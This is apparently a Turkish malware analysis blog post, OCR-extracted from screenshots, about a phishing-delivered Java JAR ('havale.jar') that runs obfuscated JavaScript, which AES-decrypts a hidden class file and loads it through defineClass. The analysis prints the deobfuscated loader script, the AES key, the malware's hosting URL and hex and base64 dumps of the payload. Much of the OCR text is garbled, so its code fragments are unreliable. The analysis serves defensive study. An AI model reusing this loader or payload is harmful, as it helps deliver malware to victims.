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Art niyetli kisilerce Java programlama dili ile gelistirilmis zararli
yazilimlarain Ulkemizde uzun yillardan beri kullanildigini daha onceki
yazilarimi (Java Bayt Kod Hata Ayiklamasi ve Java Kaynak Kodu Donlstuculeri)
okuyanlariniz muhakkak hatirlayacaklardir. Her ne kadar Java, yorumlanan
(interpreted) bir programlama dili olmasi sebebiyle kaynak koduna, bayt
koduna rahatlikla cevrilebilir olsa da, son yillarda ileri seviye gizleme
araclarinin (obfuscator) kullanilmasi sebebiyle statik kod analizi, guvenlik
arastirmacilari icin cetrefilli bir hal aldi.

Yillar gectikce, gizleme yontemi kullanan Java zararli yazilimlarini hizli
bir sekilde analiz etmek ic¢in Frida gibi (Dynamic instrumentation toolkit)
bir ara¢ kiti hala nasil gelistirilmez diye ic¢ten ice hayiflanirken bir
yandan da yeni araclari arastirmaya basladim. Kisa bir arastirmadan sonra
Jason GEFFNER isimli guvenlik arastirmacisinin 2016 yilinda, Ozellikle
tersine mihendisler ve istismar kodu gelistiricileri i¢in duzenlenen Recon.CX
guvenlik konferansinda gerceklestirdigi Java Journal & Pyresso: A Python-
Based Framework for Debugging Java (video) adindaki sunumuna (slideshare)
denk geldim.

Java Journal & Pyresso, Python temelli olarak gelistirilmis olup Java
uygulamasini dinamik olarak izlemeye (dynamic tracing), hata ayiklamasi
yapilmasina imkan taniyan bir yazilim iskeletidir. (framework)

Hem yakin zamanda elime disen Java ile gelistirilmis bir zararli yazilimi
hizlica analiz etmek, hem Java Journal & Pyresso ikilisine g6z atmak hem de
bu konuyu 16. Pi Hediyem Var oyununa dondsturmek icin ise koyuldum.

Gelen sipheli e-postada yer alan resme tiklandiginda
https://storage.googleapis.com/officexel/ adresinden “Remittance invoice.zip”
dosyasini indiriyordu. ZIP dosyasinin ic¢inde ise beklenildigi (izere ayni
isimde bir JAR dosyasi bulunuyordu. https://storage.googleapis.com/officexel/
adresini 5 glin arayla ziyaret ettigimde dosya isimlerinin degistigi
dolayisiyla art niyetli kisilerin aktif olarak burayi kullandiklari goéze
carpiyordu.
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Bytecode Viewer araci ile sayfada yer alan havale.jar dosyasini kaynak koduna
cevirdigimde icinde cok sayida farkli uzantili dosya oldugu dikkatimi cekti.
META-INF/MANIFEST.MF dosyasinda yer alan bilgiye gdre ana sinif dosyasinin
com.uncomeliness.thirsted.Battakhin oldugunu 6grendikten sonra bu dosyaya g0z
atmaya basladim. Battakhin.class dosyasina baktigimda icinde cesitli islemler
yapildiktan sonra javax.script.ScriptEngineManager sinifi kullanilarak

gizlenmis olan JavaScript kodu calaistiriliyordu.


https://bytecodeviewer.com/
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3 ” + ] [ Exact

|Quick file search (no file extension)

[ Exact E

Search
Search from .AII_Classes =
LDC ' =
Search String:
[ Exact
[ Search
# Root

ks Work Space
----- Amper.hah = com juncomeliness thirsted Battakhin.cass
----- Ampulated. yay —
----- Angelicalness.ala |i| * ” * ] b
""" Animatograph. sem 0-GUI Decompiler - Editable: false
----- Anonymities. ami 2 i
_____ Rt schnabel = myxosporidian();
----- Aphelinus, cav !
----- Asshole.ary
_____ Autoluminescent. public static woid pituicyte()
----- Avicularium, gis {
----- Babesias.dim facultize = new String(schnabel);
----- Baking.fra }
----- Barbre.gid
""" Barter.yao public static woid presubmitted()
----- = | Battakhin.dass 1
----- Bearudainaly. vil i11i =
o = | . milligal(};:

predrive();

}

public static woid milligal()
{

aglipayan = new ScriptEngineManager(};

}

public static wvoid predrive()
{

haroseth = aglipayan.getEngineByName (facultize);
}

public static wvoid secondary()
throws ScriptException

{
unhackled () .eval (oidium) ;

TN

1 [l 3

E

Bytecode Decompiler - Editable: false
1Ec class com/uncomeliness/thirst +
2 «<ClassVersion=50> |=|
3

4 public static jave.lang.String
5 public static java.lang.Stc B
§ public static java.math.BigInte
7 public static byte[] rackboard:

public static java.lang.S5t
9 public static java.lang.
0 publie statie jawva.lang.St g
11 public static java.math.BigInte
12 public static byte[] schnabel;
13 public static java.lang.S5tring
14 public static javax.script.Scri
public static javax.script.Scri

ngb

Epublic Battakhin{) [ // <init>
aload0 // reference to

[EN

9 invokespecial java/lang
return

ik

LR

Elpublic static onmun(java.lang.s
new java/math/Biglntege
dup
aloadl
bipush 2§
invokespecial java/math
areturn
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eval() fonksiyonuna gelen oidium degiskenini ekrana basmak ig¢in kodu

degistirip, tekrar derlemek ve calistirmak yerine Java Journal aracindan

faydalanmaya karar verdim. python javajournal.py -jar havale.jar -include

javax.script.* -begin com.uncomeliness.thirsted.Battakhin komutunu

calistirdiktan kisa bir sire sonra ekrana eval() fonksiyonuna iletilen

JavaScript kodu karsima c¢ikmis oldu.
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void
void
* {jdk.nashorn.api.scripting.NashornScriptEngine?> L[ID 171
Javax.script .AbstractScriptEngine.getScriptContext{(this: {jdk.nashorn.api.sce
ipting.MashornScriptEngine? [ID 171, “"ITITITITITIIIINININANIGINIIGAIAINGI = java.la
ng.Byte [("TYPE’>1; IIIITIITIIIININNIIIINIAA4TAIT4II4ili=C("qua.en’+ terp’ +' '+ is’'+'e
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‘ader” >; IIIIIIIIIIIIIIIIIII1111111111111—Jaua.1ang Class[<{’forName’ > 1¢({'com’ +' .
"+'unc’ +' ome’ +'11m3 #stetg e gt T hip! #7057 47 t'+'ed’+’ ’+’B’+’at'+ tak'+ hin' )),
‘der’ 21¢>;
1iil=TiidiIITAiIIIIIL ITiIdiITilildiili= 1111111111111[1], II1
1iiiT4IT4i=T4IT4T44l il+¢? P+ ITATATT4T4T44T4; TiTiidIT4IT4
""" =Iiliii IIIIIIlIIlIIlll TiliidilTaIl4il2
1iTAITIT44I44TII=I1 ITITITITININIIIIININAGd4d
il2]1; IT4iT4iII4l4ildi ang.reflect Arrayl{'ne’ +'w
IIIiIIlIIIlIlIIﬂi TTITITSAT4TIII44T44110;
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event.location.method id)

nstan
11 ; IITIII
IiITi=ITITITIIIL Tiiiill 11, ITITITITITITINININIG ilil
""" ITITIIII TiliiddiIT143i=IIIIIIIIII iilIll
il{'getRes’ ITIIIII IIIIIIIlllIIIII ilil>; I4iJilITidiiii i
IIIIIIIIIIIIIIIlII1I11 iil{'o 23¢>; ITITIAT444TIT4
java.io.DatalnputStreal iiliIITd ili IITITA0A44TTIT4ATEC? PeadFully’)](IIlIlII
Wililili>; ITITININININI I1iil iiliii=javax.crypto.Cipher[{’'get’'+'I’'+'n"+'s
i@t + ance’ DI1CC AES 203 II1I Ii I1111[11I1I=IIIIIIIIIIIIIIIIIIIIllllI
Tiilliil¢’ g’ +'e’ +'tByt’ * 2 1¢ 3 ITil3iiITIil4iIIII=new javax.crypto.spec
s L s - e R
E] class_name = re.search(
{
|
E] self.di.reference_type.get_signature|(
= event.location.class_ id)) .groups () [0]
class_name = class_name.replace("/", ".")
# Get the method's details.
\ﬂ method = self.di.utils.get method(event.location.class_id,
L
|
|

JavaScript kodunu anlasilir hale getirdigimde Cellulipetally.sci dosyasinin
AES ile sifrelenmis oldugu ve sifresi c¢oOzildikten sonra calistirildiga
(Header.class) anlasiliyordu.

1 IIIIIIIITIIIIIIIIIIiITAIITATAINI = java.lang.Bytel ('TYPE')1; |
i=('qua.en'+'terp'+'r'+'is'+'e.r'+'eagt '+ 0"+ r. "+ r +'eat+ gt '+ ions. '+ stan'+'dar '+ 'thoots '+ 't +'r'+'ap.He'+'ader') ;
com'+'.'+'unc'+'ome'+'line'+'s'+'s. "+ 't +'hir"+'s'+'t +'ed "+ '+ 'B +'at "+ ' tak +'hin") ) ;

10¢

lass[ ( 'forName' ) 1¢( (

iTiTITiTITiTiiT=Ffunction (Iii 11111111*1)(
’7111111111TIILD]

"YHITITITTATiTIATE; TiTddiTTiTri=TiiiTITiTIanI(2];

IITiI[(' readFully ) ] (IILunnnn)

javax.crypto.Cipher[('get'+'I'"+'n'+'st'+'ance') ] (('AES") )/
IITITITITIIIIITITITTiTidT4TTATAT=ITITITITIIIITITITITITA444TTi4TTAS0( g +'e'+"tByt ' +'es") 1 (('UTF-8"));

22 ITiTiiTIiTiTITT=new avax. crypto.spec.SecretReySpec (ITTTITTITITITITITITIiTiiTiTIATiT, ('AES'));

('init')] (javax.crypto.Cipher[("DECRY'+'P'+'T M'+'ODE")], ITiTiiITiTiIIITI);

24 ii IITITITIIITIITIITAiTATITITIAT4440("do' +'Fi'+'nal ') ] (ITATiITATiTiTI) ;

IITITIIITIIIIIIITiITiTIITiTiiTiIT[( setA'+ ccessible')] (true);

S if(111*111*111*111*111111111

IITIITIIITIIIIIIIITT iiTiiTT4TTi=[[("q'+ 'u'+'a'+" enterprise. '+'reag'+'t'+'or.rea'+'qtions.s'+' tandartboo'+'tstrap'), ("Header'), [[('.en'+'crypted'), (' .not-spli'+'tted'),
(.not-c'+'om’+'pressed’), (*.n'+ ot—fixed") ], [('c'+'o'+'m/uncon\elln #tess/'+'ti+ hirste’+d'+!/ + Cellulipet ' +*ally ' +'.sci') ], 5022, 5024, 5022,5022], (*11MQ'+ 0JTwXSO +'c'+12md '+ 2") 1115
ii '"lengt'+'h') 1 ;TiTiiTiiTTTiTii4+)

T=ITIIIITITIIIIITIITITS43TiTiiTTi4[('ge’+'tD +'e'+'c'+"1a'+ 'red +'Met ' +'hod") ] (('defineCl'+'ass"), TiTiiiiiTITTIIT, ITiiiiiTiiTTiTT, ITTITIIIIIIIIIIITiT

TiiTiTTiiTii= ITTTTTITTITITTIICLIITITTTITISTICL[('i'+ ' nv"+'oke’ )](111111111111111, TITITITIIIIIIICTITi4T47043447477d, TITTTITITTILTTITITICIS444TTITIITITIY, 0, ITTTTITIIITITIIIITiITi4434TTTTI



1 a = java.lang.Byte[('TYPE')];

2 a=('gua.enterprise.reagtor.reagtions.standartbootstrap.Headez');

5 a=java.lang.Class[('forName')] (('com.uncomeliness.thirsted.Battakhin'));

4 b=al[('getClassLoader')]():

5 a=functien(cI){

6 b=cI[0];

q b=cI[1];

8 a=b+('.')+b; c=cI[2];

9 e=e(1];
10 b=c(21;
- o AES Sifreleme
13 cli=java.lang.reflect.Array[ ('newInstance')](a,a); Kullanimi
14 a=a;

a=('/')+cl0]7
a=a[ ('getResource')

1(a)z
b=al('openstream')] ()7
b=newjava.io.DataInputStream(b);
b[('readFully’)] (cTi);
a=javax.crypto.Cipher[('getInstance')] ((
a=a[('getBytes')] (('UTF-8')):

b=new javax.crypto.spec.SecretKeySpec(a, ('AES'));
al('init')] (javax.crypto.Cipher[ ('DECRYPT_MODE')], b):
'doFinal')]
a=java.lang.ClassLoader[ (
cII=java.lang.String[('class')];

o
© o9

'AES'))

a=al( (eTi) 7

'class')1;
b=al('getClass')] () :
a=java.lang.Integer[('TYPE')];

a=al[ ('getDeclaredMethod')] (('defineClass'), cII, b, a, a):
a[{'setAccessible')] (true);

(b, a, a, 0, al[("length')]):

AES Anahtan

@@ U0 e G N

c= al('invoke')]

if (a==a)

a=c;

¥
a=[[('qua.enterprise.reagtor.reagtions.standarthootstrap'), ("Header"), [[('.encrypted'), (' .not-splitted'),
(' .not-compressed'), ('.not-fixed')], [( 'con\/uncomeliness/thi[ﬁted/csllulipstally.scj.l' )1, [5022,5024,5022,5022], ("ilMQojTwXSoczmJdz')111;
for (b=0;b<a[('length')];b++)
1

ARG AEmD

a(abl):

o

1
al('newInstance')1();:")
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>
Files Work Space
----- BIFCIRIT, £ta
..... Boomingly.mut |oom,.runoomeliness,rmirsted,rsatmkhin.dass % | comjuncomelinessthirsted/Cellulipetally.sci - x |
""" Bradyuriz.mal fo] o1 0z 03 04 05 06 07 08 03 Da Ob Oc 0d De OF
----- Caligrapher.spa |
..... Calorite. ai — ||| |poooooao 3] 50 1e 48 1f 23 1f Se dd 47 97 b9 df e Gf ef [f1#-5 -
..... candiebal. ek 00000001 Ba 52 af 61 b9 e 31 9d el 85 77 71 b7 dl 57 90 REanl wg W
..... ) 00000002 6f aa 7a 7e 02 2 30 3c 94 95 5d ed £e 20 lo 9f oz~ 04 1]
..... Capelane. ass 00000003 38 a9 3a 26 d0 d9 a4 £1 e? bE bc £l be 69 6e 67 Bz ing
----- Carpium.rux goooooo4 1d 74 cc ae deo £0 fa 51 c6 £3 bc bec dc 64 a5 43 t u] d C
Catalases. foy 00000005 o6 6b 03 17 7d 76 Oe c7 4d a3 d7 of 8b 4e 3b 8l E v M N;
----- Catastrophical.rte 00000006 55 6b cd 35 77 b8 o3 27 3a 6a df le 21 99 £5 az Uk Sw iy !
""" Catcall.sey 00000007 dl 07 26 1f 65 46 93 47 7f al ef 4d Oc le 68 ff f/eFG M h
""" Cathects.ata 00000008 ef 40 ab cl 4b 58 85 ed af 6o 92 af ad ef 65 d& L OEX 1 e
""" 00000009 c5 07 £8 lc Oc a3 27 de 43 57 d9 Ga la 49 ba 80 oW o3I
""" ey 00000002 7 36 3= e0 c6 36 59 21 hd 55 67 13 40 7f 07 3e 6= 6Y! Ty @ >
----- Chenevixite.nth =
0000000b 61 53 d5 09 03 79 7d £8 9f 26 ad el 10 45 c6 eb as ¥y} & H
3l il | 0000000c ea la la 9E &3 &7 bf 92 20 3£ b7 25 56 16 he 52 2 5V R
Quick file search {no file extension) 00000004 49 4f 64 9c 61 eb 49 a5 Oc bs 17 o9 ci a3 68 c6 10d a h
[7] Exact E] + 0000000 21 b6 41 fb 26 3b 4a Ob 28 48 fe 2a al £f 54 9b 'k os;d (H* T
= 0000OO0E 16 06 95 16 7d Oe £8 09 3a 56 6f 10 78 a9 S8 11 1t ox ¥
Search 00000010 bl 7e al c6 eb 89 71 d3 51 52 45 ee @8 bb b5 £d - g ORE
e e _1|| 0000001l ds sf 6b 14 bd ee Sb 13 SO e7 24 c6 d4 £9 7E 54 E [ P3 T
: - { || |oooooo1z ez 3b 73 az 76 £65 14 34 79 15 78 3e 00 4c 57 76 rs v 4y x> LUw
LEC T1|| |onooools £c 18 00 b9 d2 £8 3d o7 o6 08 15 d7 ad £2 31 06 = 1
Search String: 00000014 b6 d5 8c dc £d 52 9f db 3f B2 Se 54 25 dé 04 0L R 7 *Ts
|:|Exact goooools ge Oc 50 4e 65 95 19 61 9c ee 7f &b ae 9c cf Te n Fih a -
000000LE Ob e5 13 6c e5 Da 88 £4 9d as 3e 13 di da 31 b2 1 > Tl
[ Search 00000017 4a 6d e2 e7 b9 80 2e 2 21 52 o2 £c Oa 70 95 06 In AR p
® Root 0DO0O0LE 29 bO 37 e7 78 af fe e3 ol 58 02 67 93 2a 75 e3 ) 7w Xogotu
00000019 79 Ge 57 6f b6 Sa =7 eb h3 a9 2c ad 3 49 91 &b ¥nila I S
000000la b7 62 92 87 a5 76 17 04 ab £7 £l df ad 8e as 8a -
000000l 5 B 33 60 73 dS E£4 60 75 5Sa 1l 57 5c ld 83 b7 _3's Cu Wy
000000le £6 91 e 09 60 e9 96 15 7e 23 ed Bb 16 61 22 55 © .f  a"m
0000001d ef 43 58 26 £b b0 96 54 6f 04 33 £4 56 3b 11 7h C¥{  Ta 3 Vi {
000000le £6 76 0d £7 fa £4 14 75 dc dd 16 44 bh 42 d2 9c % u DB
0DODO0LE 59 1b £5 Of 60 03 £8 8b 55 e2 b5 86 63 46 bh 6d T U iF m
00000020 02 Be 29 87 71 cB 6c 4d 5d 74 b9 14 Of 04 11 cc ) q 1Mlt
PP - oo o s o o s oo G e e it . e da o e e g ol




«db Online Tool for AES Encryption 2 X +
c 0N & https://www.devglan.com/online-tools/aes-encryption-decryption

(f] Hack 4 Career. Infor [ Linkedin WF Mert SARICA (merts M Inbox - mertsarical
AES Online Encryption AES Online Decryption

Enter text to be Encrypted Enter text to be Decrypted

Enter plain text to hash 8BF2EQ8B4EBE2831618877E44F61594452C9F57BD3B681FSEE
DC2EF1863C88286B93011A13F39B84T436FACB227663050FE14
CAFQE7097C35C0210A9CE389FC501B118242206690AB0OFDDB6
9CCFCY9815F3A78DEB2716A88TFEDDFD3CFES401159295FB633
3BD9333F6BEGB311D9388EA38305312AACD01BCAB4

& o~
OR
= = Input Text Format: ©Base64 ® Hex
Choose File [No file chosen
Select Mode
Select Mode ECB v
EcH " | Key Size in Bits
Key Size in Bits 128 v
= i Enter Secret Key
Enter Secret Key 1IMQoj TwXSocZmJZ

Enter secret key -
Decrypt

QOutput Text Format: ®Basefi4 ' Hex
AES Decrypted Output (Base64)

VEBYIAAADIBCICATQOAHQB+CgAMAHSIAIAHAIEHAIIAIMIAIQI
AES Encrypted Output AIUIAIYIAICIAIgIAIKDAADd2AgAIgoAAQCL BWCMCQABAIDIAI4IAIB
IAJAIAJEHAJIKABCAKWOAFWCUCGAXAJUJAAEAIQOAFWCXBWCY
Result goes here CQABAJKKAAEAMgoAAQCHCQABAJWKAAEANQOABgCeCgABAJ

8KABOA0ACA0QgA0goAJgC|CACKBWBACgAdAKUKAKYAPWSAEQ

Decode to Plain Text

Ep*40002000}000~0&0000000000000000000000000C
L w3 - Notepad R s S|
File Edit Search View Encoding Language Settings Macro Run  Plugins  Window 7 X

“]B@GQQ” EjEj|§)*"'"|ﬂﬂ |g%|'—‘|}—_'

ErngDelqawA vbs £ ] B rew 1 ._Jl H debug_inteface py ...S] Hevents py JI M javajoumal py JJ Enew2 3 Hrew 3B ]

1 yv66vgARADIBCocAfQoAHGB+CoRAMAHETATAHATEHATIIATMIATQIATUIATYIATCIATgTIATKDAADd 2Aghi goARQCLBWCMCQARATOTAT4TATATAJATAJEHAT »
IKABCcAkwoAFWCUCOAXATUJAAEA] goAFwCHBWCYCOARAJKKAARAMg 0 AAQChCQARATWRKAAR AN Qo AByCeCoARATSKAROAnAcAnQoRngolJoCi CACKBWEBACRd | |
ARUKARYApwsAEQCOBWCDBWCQBWCrCoAWARWRACSATQoALWCUBWCVCoAGALARACYASQoAsgCzCoCOALUTALYRADOAt wehuhokOWCSBWCACQASALSKADOAVA
CAVQoRQACtEWC+CoBCAKORAET AvwohwhkAAQDECADCCQABAMMRARO AxAKA AQDFEWDGBWDHC gEMAMgKABO Ay ol yggAywkAAQDMCADNAGATD2 JmdX N3 YXRp
b2 5EcHE1bmRpeAEAE kxqgYXZhLZ xhbmevU3RyaWsnOwEAIMZpenNOQ2 xhe3NOYW1 1 AQAKZm] ye3RDbGF zewEAETXqYXZhL2 xhbmev(2 xhc3MTAQRAZml yo 3
RDbGFzclByb3R1YZRpb25Eb21haW4BACEManF2 Y5922 1cml 0e590emd 0 ZNN0aWIuRGIC YW1 uOWEADTNBVF 31 b2 00 3Ry YXABAAS DOVRED2 Tmd XN YXR1
ZAEAHNBYZWR1 ZmluZWRDbGFzc05hbHVZVGo CZUxvYWR] ZAEAR] tMamF2 Y5 9sYWSnL1NOcml uZzsBABNYYmZ 1 c2Nhd GVERWS 0cnl MaXNOAQAPTGphdmEvdX

RpbCONYXATAQAJUZ1nbmF0dXJ1AQAI TGhdNEVAXREbCONYXAS TEphAnEvhGFuZy 9TdHIpbnc THOXQYXZhLIxhbmE o
KC1WAQAEQ? 9kZQEADVNO YWNrTHEWVGE 1bGUHAHOHAT THAJGHAMABAADFeGN1 cHRpb2 5zBwDPAQRMZ 2VORWS OcnlEY

5nO0XgYXZNL2 xhbmevU3RyaWsnOy1bTGphdnEvbGFuZy9PYnplY3QTAQENZ GV cnlwdE9ianVidAFAOShManF2Ysy  COPy

Zy9P¥mpl¥3Q7RUXGYXZAL2 xhbmevT2 JqZWNOOweAOACAOQcADgch0wCAlAcA1QcAl1gEABIR1¥3I5CHOBACKOTGPhd  Paste
xhbmcvT2JqZWNOOY1bQgeAlweA2 AEACDX IbGluaXQ+BuDGAQASCXVhL2VudGVycHIpc2UvemVhoXRyciOyZWERdGL
SGVhZGVyDADZANOMAGIA2wEARSMEABBGYXZhL2xhbmevT 2 JqZWNDAQAQamF2YS9sYH5nLINOcmluZwEAC 5 1bmllye

9tcHILc3N1ZAEAC Sub3QeZml 4ZWQBACTIb20vdW5b211bG1uZXNZL2N5bRFZLOFycnlpc2gucHI1AQRIY29EL3Y  Select Al 7
YWSHImRvCWEAKGNvDSS1bmNvbWVsal51c3MvdGhpenN0ZAQvTnhpendth3 JwaCsib3gBABB0TIWIbNF SQWAKNIEZY Begin/End Select
FwDABeAFSBEAD]xdWEUZWS0ZX Jwenml 2255y ZHExdE0yLnI 1 YXFOaNIucy5zdGFuZGEydGIvb 3RedHIhcC5Mb2 FRZX T
dE9YLnI1YKF0aWucy5zdGFuZGEydGIvb3RzdHINCCEMb2 FkZX TKMSQxAQAT cXVALIVudGVycHIpc2UucVheXRve  Style token v
903Ry YXARTG2R2GYyIDEBADI XAWE UZNS 02X TWeml 22 S5y ZNE RAG LI LYXFOaNSuCySZACFZGFyAGIVEIREART o .
dW15ZGVyDABI AGMMANWA3QWA3ADe DABCAFOMANEA4AEAD2 phdmEvbGFuZy 9DbEF zCwwANgBUDAB SAGOMAHCACAWAN
QBABVQYXZhL2xhbmev(Q2xnc3NMb2FkZXIBARNRdDMNCSIMOUAGEDE oo o0 ET—— ,
BB1qYXZhL21vL091amVidELucHVOUSRYZWEFtAQACamF2YS9pbyCeXR

ch2hwh+(QD6EWDTDADEAPOBAANBRVMMAP4L/ wEAH2 phdmF4L2NyeXE0k Basebd Decode e
RQEEAQWEAWEERQAdanF2YS91dG1sL3ppcCoHWKIQSHSWAXRTAHIIYWG Copy Text with Syntax Highlighting
M5bU1tSThIVO9TRz1RRXVXYHA40ULMbmpaOWdhRYZMZ G5 CTG5XUOAWRey UPPERCASE

OUcwemx tTOFSVW1EeGIEADFQTm] ZcFZEVIRaTVNRZGgwe j Zsd28xTWShS ldﬂ'OGHSWG\TsYzNJVQ FOSFN4UjBZVGJOU
s5OWFsZ FAMEmhHU1VRYTBaclRWT zNr S3VROTZvSUtySO1QMF ]l vdmk 0UNh LVFhPNNZuV1 JxdENpM1RDTTd4QUIEOCGH
b551bmNvbNVaaWilciMudGhpenN0ZWQuimF0dGFraGluDABVAFQMAOY A6 gwAVgBXAQATamF 2 Y593 YWSnL1RocmS3Y
11RXhjZXB0aWw3uDABiAQcMAQgBCOEACHIvb3RZ2dHIhcAEACMYi ZnVaY 2 FOZWOMAFSAVAEABkXVYWR1 cgEAE] tMamF|

lowercase |

Toggle Single Line Comment

bGFuZy9FeGN1 cHRpb24BAENQYXZhL2 1vwL01 PRXh] ZXE0aWIuAQLhhamF2 Y5 92ZWN1cml 0259 JbnZhbGl kS 2VSRXR Z Block Comment
20b1N1Y2hBbGdveml 0aG1FeGN1cHRpb2 4BACHGYXZheCo3 cnlwdGEvTmeTdWNoUGFkZG1uZ 0V4 Y2 ViwdG1 vhgELTmp Block Uncomment
¥2tTaXplRXhj ZXBEOaW9ukQhgamF2YXgwY3I5cHRvLOJhZFBhZGRpbndFe GH1 cHRph2 4BACBgYXZh L2 xhbmevR2 xha
tCAQATanF2YS9pby9JbnBldFNOcnVhbQEADNALJENS YANZ TGOhZGVyAQRZKC1ManF2 Y5 9sYWSnLONS YXNZTGOhZGY Hide Lines

TGIhZGEVyOy1WAQAGYXBwZWSKAQAtKEXQYXZhL.2 xhbmevI 3RyaWsn0Oy1ManF2 YS9sYWSnLINOcml uZ0J1aWxkZX I 7 Ayacrrmp rep o v e o S TP
dCdW1 sZGVyOWwEACHRvT3RyaWsnAQATKCIMamF2 Y595 YWEnLINOcml uZ zsBARt kZWZpbmVDbGFzewEASShManF2 Y59 sYWSnL1NOeml uZ zthQkl JTGphdmEy
©2V5 dXIpdHkvIHIvd GV dG1lvh kRvEWFph3 spTGphdmEvbGFuZy 9DbGFzcz sBARZ 1 cXVhbHMEAETo TGphdnEvhGFuZ yAPYmpl Y3QTRVoBARx yZXNvEHZ1Q2
¥hc3MBABQoTGphdmEvEGFuZy 9DbGFzczspVoEAC2 51d01uc3RhbmN1 AQATKCI ManF2 Y595 YWSnL0 94 amV3 dDsBAR]L sb2 FkQ2xhe 3MBACToTGphdnEvbGEa
Zy9TdHIpbmeTKUXgYXZhL2 xhbmev(2 xhe3MTAQATZ2VOTHV0aGI kAQBAKE xgYXZhL2 xhbmevI3RyaWsn0l tMamF2Y 595 YWSnLONSYXNz0y1ManF2 YS9sYW
SnL3J1Zmxl Y3QuTWV0aGokowEAGGphdnEvhGFuZy9yZINZ3ZWNOLO11dGhvZARARM] ndmdr ZQEAOS hManF2 Y392 YWSnLO 91 amV dDEbTGphdnEvhGFuZy 9P

Vo T W DA T e e WV T T F el e T3 T PETMTA AT AR A AT AAT A TS Ll DAV O A~ WTTE T A S e T7S AT T b e Tl S T e o e AT W T WA A AR T T ATITVD A D e T b e

Normal text file length: 6,696 lines:1 In:1 Col:1 5el:6696|1 Windows (CRLF)  UTF-8 INS




SENRUI L e mm wmes___________________SCET

File Edit Search View Encoding Language Settings Macro Run  Plugins Window 7

cEEHB = HE| 4O |-£’) |ﬁL§ﬁi|‘§§|-".' . .._J = | ]
H rapRDsjgaw2.vbs 3 l ] H javajoumal py ] EHnew 2 Erew3 @ l
22  ExceptionsENE S (Ljava/lang/5tring;Ljava/lang/5tring; ) [Ljava/lang/Object ; ESER -
40 k=] (L]avaflangfsrsrlng, [Lijava/lang/Object;)Ljava/lang/Cbject ; Bl IBEL [BEL]
|SOH] Efd e crypt EEE (Ljava/lang/String; [Ljava/lang/CObject;) [EEEE
[SCH] ES<clinit>E0s FEEEERER S qua,/enterprise,/ reagtor/ reagtions/ standartbootstrap/Header@
|SCH] |SOHEISOH] 8 2va/lang/Cb]ect EEEIE javaflanngtrlngm

41 . encryptedENEE .splitted EREIREAEN . conpressedERRER

42 .not-fixedEeE "com/uncomeliness/cymas/Arryish.preEEEl
thirsted/Rhizomorph. boxg tH16énalAodfa 3V kEENRn 5 OH]

2% java/util/Mapigal M5 OH] Qqua.enterprise.reagtor.reagtions.standartbootstrap. Loader iRIRE-qua . enterprise. reagto
r.reagtions. standartbaotstrap Loader£151 R ;gua.enterprise.reagtor.reagtions. standartbootstrap Loader: ]l S5l
enterprise.reaqtor.reagtions.s tandartboatstrapm =G ava 1angf StrlngBullde rﬁ ]
nputStreamnEeE) java/io/ByteArrayInputStreamiEEl

LIxF8BEL [x FAIBELIL avax/crypto |
/spec/SecretKeySpec avax/crypto/Ciphe :Emmmmmmmmm ERjava/util/zip/GZ
IPInputStreamesE N3 ava/io/DatalnputStreaniFEeEbe F2|SOH|SCH]

44 VOECgwLiul0EsYcOmMmT 8HWNOSG90Eugahx8ITnj 2 9gaEvLAnBLngSGVDLNTi fCnz0AvBTQYCBCTskRTVhDSZ 5p4We 26 kHzILVAOTUTESGO rImCARTI JxmDt (=
A1PHiYpVJIWIZMS5Qdh0z61lwolMnaKWNVEcSX¥el c3IWNaPHSXROYTbNSCk3AFcmdgtnS51 9KsbEXWK 9421 dWLFhGRUQa0Z sTVO3 k.KI.qu 6oIKrEMPOYovi ﬂQhK'IX
OYEInWRgtCi3TCMTxAMDE jKXT 3dELJoCORI S EEMAT EERREA4 com,. unconeliness . thirsced. Battakhin
(U LM HULRISOH] java/lang/Throwabl e EEl EiEjava/lang/RuntimeException@ Ll SOH|BEL] @EE m
bootstrapEEE

45  obfuscate WU IS OH] ocaderEEE EE [Liava/lang/Class; EEE B8 z2va/lang/Exception kRl ava/io/I0Exc
eptionERE ava/security/InvalidKeyExceptionEiERlM:java/security/NoSuchAlgorithnException e javax/crypto/NoSuc
hPaddingExceptionEeEl &iavax/crypto/IllegalBlockSizeExceptionEeRIREM javax/crypto/BadPaddingException s
java/lang/ClassNotFoundExceptionEeEl [STXJ#E]SOE]N java/io/InputStreanEEIRERER =tClazsLoade rEHEl )Ljava/lang/
Cla=sLoadexr; EEl Lijava/lang/Clas=sLoader; ) VESE Az o endEeREREA- (Liava/lang/String; ) Liava/lang/StringBuilder;
ERREEREE (C) Liava/lang/S5tringBuilder ; EoE ERtoString ERERMMNES () Ljava/lang/String; EeE @defineClassERREAT (Ljava
/lang/String; [BIILjava/security/ProtectionDomain;)Ljava/lang/Class ; EREREEFE:qual s EEE Ljava/lang/Object; ) ZEEE

resolveClassEh5El (Ljava/lang/Class;) Vs @newInstance EEER )Ljava/lang/Cbject; K8
loadClas=sEEE| % (Ljava/lang/String;)Lliava/lang/Cla=s; 65l
getMethodEEE| @ (Ljava/lang/String; [Lijava/lang/Class;)Ljava/lang/reflect/Method; EeE java/lang/reflect/MethodEeE
nvoke EEE 9 (Ljava/lang/Object; [Ljava/lang/Object;)Ljava/lang/Object; EEE ¥yt EEEIEEM: (Ljava/lang/Object;)
Ljava/lang/Cbject; EE ® ( [B) VERR (Ljava/io/InputStrean; ) VEEE

45 readObj ect EREIEBER e cEvt == EE i | ) [EERE BeEgetResourcelzStreanEE@EM) (Ljava,/lang/String; ) Ljava/io/ InputStrean
H ead EREIRNREM ( [B) I EE) i ava/lang/SyvstenEeE
arraycopym * (Ljava/lang/Object;ILjava/lang/0bj ect, II)VERE @i et Instance HEl (Ljava/lang/5tring; )Ljavax/cryp i
e S5 e o ETARSIERTRER A=Y [ TDOT < meem £ mvm e e S m e n - ITT S mmwm fmmmrnwm i tmme T T mer a b A m TS =T

MNormal text file length : 5,022 Ilnes 75 Ln:75 Col:72 5el:4.842|75 Windows (CRLF)  UTF-8 INS

File View Settings Plugins

Files

Work Space

Cellulipetally_dec.dass

# qua

quajenterprise reagtor freagtions/standartbootstrap/Header. dass %

enterprise ” * ] [ Exact
ID-GUI Decompiler - Editable: false
import javax.crypto.IllegalBlockSizeException; *

1o

+- f standartbootstrag -
i-i=)| Header. dass
decrypted_payload1.dass

import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretEeySpec:

oo

| £/ havale.jar 1
20 public class Header
21 extends ClassLl
220 {
23 private static
private static
private static C firstClass:
— private static ProtectionDomain firstClassProtectionDomain;
& Lt public static CAT bootstrap = i
public static CAT obfuscated =
[ Exact public static final ] predefinedClassNamesToBeloaded = [ "L Iz
